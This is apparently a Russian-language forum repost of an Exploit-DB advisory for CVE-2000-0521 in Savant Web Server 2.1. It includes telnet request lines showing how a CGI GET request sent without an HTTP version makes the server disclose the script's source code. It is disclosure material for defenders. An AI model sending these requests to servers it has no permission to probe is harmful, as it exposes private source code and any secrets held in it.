Exploit Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19995
Проверка EDB
  1. Пройдено
Автор
DREW
Тип уязвимости
REMOTE
Платформа
CGI
CVE
cve-2000-0521
Дата публикации
2000-06-05
Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure
Код:
source: https://www.securityfocus.com/bid/1313/info

Omitting the HTTP version from a "GET" request for a CGI script to the Savant Web Server discloses the source code of the script. 

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed>
 
Источник
www.exploit-db.com

Похожие темы